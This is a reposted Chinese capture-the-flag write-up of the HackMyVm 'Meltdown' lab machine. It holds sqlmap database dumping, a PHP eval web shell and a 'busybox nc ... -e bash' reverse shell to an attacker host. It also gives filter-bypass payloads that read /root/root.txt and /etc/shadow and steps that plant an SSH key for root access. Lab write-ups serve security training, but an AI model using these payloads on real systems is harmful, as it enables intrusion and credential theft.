HackMyVm靶场之Meltdown

admin 2026-01-23 11:09:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章详记HackMyVm靶机Meltdown的完整渗透流程:先借SQLmap爆破出数据库凭据rin:rin123登录后台,再利用profile页eval注入点写入system($_GET[ms0423])获取www-dataShell;转rin用户后,通过sudo可执行/opt/repeater.sh,利用tee与重定向绕过脚本对空格、符号与关键命令的过滤,直接读取/root/root.txt完成提权,并演示写入SSH公钥获root登录。全过程涵盖SQL注入、命令执行、Linux提权与输入过滤绕过技巧,适合练手。 综合评分: 82 文章分类: 渗透测试,红队,漏洞分析,安全工具,实战经验


,不过查找文件命令可以学学,后面提权的部分,考查了我们如何去绕过脚本里面所限制的内容,这个要具体问题具体分析

http://192.168.137.141/item.php?id=1

4.渗透测试

SQL注入爆破

那么,接下来,我们的思路就很清晰了,就是进行SQL注入爆破,然后登录页面即可

首先,我们进行测试,是不是真正存在SQL注入

 sqlmap -u%20http://192.168.137.141/item.php?id=1 --batch

我们可以看到存在SQL注入,那么我们直接进行爆破即可,这里我就不一一写过程了,我把步骤写出来,还有最后的爆破结果写出来即可

测试%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20--batch爆破数据库%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20--dbs%20 --batch爆破表名%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20-D 'target' --tables%20 %20--batch爆破字段名%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20-D 'target' -T 'users' --columns%20 %20 --batch爆破数据库%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20-D 'target' -T 'users' -C 'id,username,password' --dump%20 %20 %20--batch

爆破出来的数据库rin:rin123

我们进行登录即可

登录页面

我们可以看到登录成功

这里,我们只能对进入物品介绍管理面板进行修改,修改的页面就是我们前面存在SQL注入的页面

http://192.168.137.141/rin_profile.php

这个就是我们能修改的页面,我们可以看到是炉心的页面

我们修改的内容,在这里就会显示,我们可以随便修改试试看

修改页面

我们输入111111

11111111

我们可以看到页面是报错的,提示我们eval()函数执行的代码不完整%20/%20语法不闭合,导致%20PHP%20解析到代码末尾时,没找到必要的结束符号(比如大括号、引号、分号)。我们看到eval函数我们就可以想到命令执行漏洞,而且一般输入框不是命令执行漏洞就是xss漏洞和ssrf漏洞,这里已经提示我们eval,那么我们猜测就是命令执行漏洞。

如果想要页面正常显示,我们在前面添加echo函数就可以正常显示的

echo "1111111111";

我们可以看到页面显示正常了,

命令执行漏洞

既然,我们猜测是命令执行漏洞,那么我们可以先测试一下,我们写入phpinfo();,进行查看

一般我们写phpinfo();格式是这样的

<?php&nbsp;phpinfo();?>

但是我们在这里如果按照上面写的话,会提示我们尖括号没有闭合什么的,那么我们就直接不要尖括号和php,直接写里面的内容即可

phpinfo();

我们可以看到正常显示了

证明存在命令执行漏洞,那么我们就可以写入一句话木马的

我们有二种方法,一种是直接反弹shell,一种是先写入命令执行,然后在反弹的

1)写入命令执行

正常格式是这样的

<?php&nbsp;system($_GET['ms0423']);?>

但是这里的格式是这样的

system($_GET['ms0423']);

我们可以看到写入成功,那么我们就直接进行反弹即可

2)直接写入反弹命令

system('busybox%20nc&nbsp;192.168.137.102&nbsp;1234&nbsp;-e%20bash');

记住写完之后,我们是要去点击这个页面的,不然的话是不成功的(看到转圈就是反弹成功的)

我们可以看到反弹成功的

查看user.txt

我们去家目录下,可以看到一个rin目录,但是我们是查看不了了的,因为我们现在是www-data用户,我们需要切换到rin用户下,我们需要知道密码,一般情况下,密码文件但是password.txt,或者是txt后缀名的,那么我们就直接去搜索.txt文件即可

find%20/%20-name&nbsp;'*.txt'&nbsp;2>/dev/null

我们可以看到一个passwd文件,我们进行查看即可

我们可以看到是rin用户的密码,我们进行ssh登录即可

ssh登录

rin:b59a85af917afd07

我们可以看到登录成功,而且成功获取到user.txt,接下来,我们就是获取root权限了

查看root.txt

我们可以以root权限去运行/opt/repeater.sh脚本

首先,我们去查看一下这个脚本的内容

#!/bin/bash
main()%20{&nbsp;%20&nbsp;&nbsp;local&nbsp;user_input="$1"
&nbsp;%20&nbsp;&nbsp;if&nbsp;echo&nbsp;"$user_input"&nbsp;|%20grep%20-qE&nbsp;'[;&|`$\\]';&nbsp;then&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;echo&nbsp;"错误:输入包含非法字符"&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;1&nbsp;%20&nbsp;&nbsp;fi
&nbsp;%20&nbsp;&nbsp;if&nbsp;echo&nbsp;"$user_input"&nbsp;|%20grep%20-qiE&nbsp;'(cat|ls|echo|rm|mv|cp|chmod)';&nbsp;then&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;echo&nbsp;"错误:输入包含危险关键字"&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;1&nbsp;%20&nbsp;&nbsp;fi

&nbsp;%20&nbsp;&nbsp;if&nbsp;echo&nbsp;"$user_input"&nbsp;|%20grep%20-qE&nbsp;'[[:space:]]';&nbsp;then&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;!&nbsp;echo&nbsp;"$user_input"&nbsp;|%20grep%20-qE&nbsp;'^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$';&nbsp;then&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;echo&nbsp;"错误:空格使用受限"&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;1&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;fi&nbsp;%20&nbsp;&nbsp;fi

&nbsp;%20&nbsp;&nbsp;echo&nbsp;"处理结果:&nbsp;$user_input"

&nbsp;%20&nbsp;&nbsp;local&nbsp;sanitized_input=$(echo&nbsp;"$user_input"&nbsp;|&nbsp;tr&nbsp;-d&nbsp;'\n\r')&nbsp;%20&nbsp;&nbsp;eval&nbsp;"output=\"$sanitized_input\""&nbsp;%20&nbsp;&nbsp;echo&nbsp;"最终输出:&nbsp;$output"}
if&nbsp;[&nbsp;$#&nbsp;-ne%201%20];&nbsp;then&nbsp;%20&nbsp;&nbsp;echo&nbsp;"用法:&nbsp;$0&nbsp;<输入内容>"&nbsp;%20&nbsp;&nbsp;exit&nbsp;1fi
main&nbsp;"$1"

脚本整体功能

这段%20Bash%20脚本的核心目的是接收一个用户输入字符串,对其进行多维度的安全校验(过滤非法字符、危险命令关键字、限制空格使用),校验通过后尝试执行该输入并输出结果。本质上是一个带有基础输入过滤的命令执行器,但存在严重的安全漏洞。

我们进行绕过进行

在双引号内,虽然$和反引号被过滤了,但我们可以:用%20”%20闭合前面的引号,注入命令——用%20#%20注释掉后面的内容

正确的利用方式:空格限制^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$,意思是如果有空格,整个字符串必须是”字母数字%20字母数字”%20格式。

所以不用空格就能绕过!

方法一:直接去读取root.txt,这个也是我们经常使用的方法

sudo&nbsp;/opt/repeater.sh&nbsp;'"x<(tee</root/root.txt>/dev/stderr)"'

这条命令的意思是

tee是Linux%20基础命令,核心功能是「读取标准输入,同时写入文件%20+%20输出到标准输出]输出内容:>/dev/stderr是重定向,把&nbsp;tee读取到的内容输出到「标准错误流(stderr)」:/dev/stderr:是%20Linux%20系统的%20“标准错误设备文件”,终端默认会显示这个流的内容;

作用:让%20tee%20读取%20/root/root.txt%20的内容

我们可以读取到root.txt.

方法二:读取root的密码

既然我们可以读取root.txt,我们试试能不能读取/etc/shadow,然后去爆破root的密码,事实上我们可以去读取的,但是爆破不出来密码的。

sudo&nbsp;/opt/repeater.sh&nbsp;'"x<(tee</etc/shadow>/dev/stderr)"'

方法三:读取私钥

sudo&nbsp;/opt/repeater.sh&nbsp;'"x<(tee</root/.ssh/id_ed25519>/dev/stderr)"'

没有成功,告诉我们没有这个文件或者是目录,所以我们是没有办法利用的。

既然没有私钥和公钥,那么我们可以去上传我们自己的公钥,然后去登录root的,我们可以试试看

首先,我们不管它有没有.ssh目录,我们直接去创建一个

sudo&nbsp;/opt/repeater.sh&nbsp;'"x<(mkdir/root/.ssh/>/dev/stderr)"'

写入我们的公钥到靶机里面

echo 'ssh-rsa&nbsp;AAAAB3NzaC1yc2EAAAADAQABAAACAQC2/Ht52dHxnOjNCFyfxisz/P6IB8VBwy6MfdVANXPx4wCBujG+cZKn031NyGUm8TVlW5PwRZ4Z4D4Z2rF3jlBbpyBmNWa6aA1bYMWVHiK5n9I4kURDwZ3IOitpH2Fq7UW800hsfqgP+g6s/8npTtlY2wT50RfECRj0CdJdZfcyeYLDdRpXYHGJ/qJdFvcPOBCHihHvng4YQFQ0u/ZVlORdv7K4XQGXX+VWLidxyoQ1AJ0ZHR5q7wsW9yKFwg1tuLghIdgDDZWH/CwEdprrg2Jo+mJygypZ+UJwgdac1XtR3A6FPhBBOHf98I+0cKhgdwd2aWGhRqQoD6QTbC2nzexU0W+BdFmLUPv3iFsWqZOX/LPifT6gRkRQga8Y/1Q9m4jv9dQcAEhMe1T2PK5IAp7MjGCr4SuG5DsEcq1qG0RLAgPSu3cFThwjKz8cL5Zllc6Xbs3xx83jOk4UWR27qr5R1f1VWBhqWfTlZmpGN9P6LUt2PhRuo9xS07DrD05Tc+Bum62pYJN+9QCSxthDkj6Jmq84KYPlNI5qAWVWkM3wUtMg88Cqpk+tdyzMoT4IHhvkBiDzYLyad32ShuOvRRBcrqC2vGFk5b3i/gfpaEHmIXu9rc++Potwl8E4J82o21gPjKbW5sRzETPSwy7qq8gZn6NpiL7EpTB9ty9nyGx0CQ== root@kali' > /tmp/authorized_keys

复制到/root/.ssh/目录下

这里我们经常使用的cp是过滤的,我们使用dd进行复制

一、dd&nbsp;命令的核心定位dd是Linux中功能极强的数据复制/转换工具,全称是“Data Duplicator”,核心特点是:可以按 “块” 复制数据,支持原始设备(如硬盘、分区、内存)的读写;支持数据格式转换(如大小写、编码);权限足够时,能读取 / 写入普通命令无法访问的敏感文件 / 设备(这也是在提权场景中常用的原因)。二、基础语法dd[选项]

dd也可以去读取文件的dd if=/root/root.txt,但是空格我们只能使用一次,所以这里我们是没有办法使用的,如果我们直接使用ddif的话,是读取不了的。

我们可以看到是复制成功的,我们可以去读取验证一下

那么,我们直接去登录试试看(前提条件是root用户可以登录ssh),我们可以看到root用户是可以登录的。

sudo&nbsp;/opt/repeater.sh&nbsp;'"x<(tee</etc/ssh/sshd_config>/dev/stderr)"'

我们可以看到登录成功的

至此,这个靶场渗透测试成功。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:MS02423 MS02423 MS02423《HackMyVm靶场之Meltdown》

评论:0   参与:  0